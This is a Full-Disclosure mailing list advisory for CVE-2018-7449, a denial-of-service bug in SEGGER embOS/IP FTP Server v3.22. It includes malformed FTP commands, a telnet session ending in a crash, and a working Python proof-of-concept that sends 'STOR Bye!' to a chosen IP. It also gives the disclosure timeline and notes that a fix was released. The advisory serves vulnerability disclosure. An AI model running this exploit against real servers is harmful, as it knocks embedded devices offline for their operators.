full-disclosure - [FD] CVE-2018-7449 SEGGER embOS/IP FTP Server v3.22 / FTP CMDs Denial Of Service

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Message-ID: <CAFD2FDMT6ziGGxqT4+fi2_=waGU3JSv57Fdd2TVgZWim35UvKQ@mail.gmail.com>
Date: Thu, 1 Mar 2018 22:27:38 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2018-7449 SEGGER embOS/IP FTP Server v3.22 / FTP CMDs
	Denial Of Service

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security

Vendor:
=============
www.segger.com

Product:
===========
embOS/IP FTP Server v3.22

Vulnerability Type:
===================
FTP Commands Denial Of Service

CVE Reference:
==============
CVE-2018-7449

Security Issue:
================
SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial
of service (daemon crash)
via an invalid LIST, STOR, or RETR command.

STOR 666\r\n
LIST\r\n
RETR '+'..\\'*8+'Windows\system.ini\r\n

TELNET x.x.x.x 21

220 Welcome to embOS/IP FTP server
USER anonymous
331 Password required.
PASS anonymous
230 User logged in, proceed.
STOR Bye!

CRASH!!!

Exploit/POC:
=============
import socket,time

VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')
USR='anonymous'
PWD='anonymous'
CMD="STOR Bye!\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((VICTIM, 21))
print s.recv(1024) # Recieve FTP Banner
time.sleep(1)
s.send("USER " + USR+ "\r\n")
print s.recv(1024)
time.sleep(1)
s.send("PASS "+ PWD+"\r\n") #
print s.recv(1024)
time.sleep(1)
s.send(CMD)
print 'Sent %s' % CMD
s.close()

Network Access:
===============
Remote

Severity:
=========
Medium

Disclosure Timeline:
=============================
Vendor Notification:  February 17, 2018
Vendor acknowledgement: February 19, 2018
Vendor released fixed version v3.22a : February 23, 2018
March 1, 2018 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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